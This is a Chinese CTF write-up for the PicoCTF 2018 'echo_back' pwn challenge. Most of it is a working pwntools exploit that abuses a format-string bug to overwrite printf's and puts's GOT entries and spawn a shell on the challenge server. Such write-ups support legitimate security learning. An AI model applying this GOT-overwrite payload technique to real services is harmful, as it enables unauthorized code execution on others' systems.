BUUCTF【PicoCTF_2018_echo_back】(格式化字符串)

PicoCTF_2018_echo_back

例行检查：

开了部分relro,没开pie，

IDA分析：

函数主逻辑在vul()函数中：

先打印出一句话，然后让我们输入，大小控制在0x7f，然后很明显一个格式化字符串，然后下边直接puts完后，程序结束.

程序中存在system，并且没开pie，这里我们考虑直接改got表，我选择的是改printf()_got为system_plt,下边程序直接结束了，这里我们没办法去输入’/bin/sh\x00’触发system，但发现下边会调用puts()函数，这里我考虑将puts()函数的got表改为vuln()函数地址，调用puts()时就会再次返回到vuln()，再次输入即可get shell.

exp：

from pwn import *

def pwn():
		vuln = 0x80485AB
		system = 0x8048460
		#gdb.attach(io)

		io.recvuntil(':')

		payload = p32(elf.got['printf'])
		payload += p32(elf.got['printf']+1)
		payload += p32(elf.got['printf']+2)
		payload += p32(elf.got['printf']+3)
		payload += p32(elf.got['puts'])
		payload += p32(elf.got['puts']+1)
		payload += p32(elf.got['puts']+2)
		payload += p32(elf.got['puts']+3)
		payload += '%64c'
		payload += '%7$hhn'
		payload += '%36c'
		payload += '%8$hhn'
		payload += '%128c'
		payload += '%9$hhn'
		payload += '%4c'
		payload += '%10$hhn'
		payload += '%163c'
		payload += '%11$hhn'
		payload += '%218c'
		payload += '%12$hhn'
		payload += '%127c'
		payload += '%13$hhn'
		payload += '%4c'
		payload += '%14$hhn'


		print len(payload)


		io.sendline(payload)

		io.sendline('/bin/sh\x00')

		io.interactive()
debug = 1
if debug == 1:
		elf = ELF('./PicoCTF_2018_echo_back')
		io = remote('node4.buuoj.cn',26669)
		#io = process('./PicoCTF_2018_echo_back')
		libc = elf.libc
		context(log_level='debug')
		pwn()
else:
	elf = ELF('./PicoCTF_2018_echo_back')
	io = process('./PicoCTF_2018_echo_back')
	libc = elf.libc
	context(log_level='debug')
	pwn()

喜提flag!!!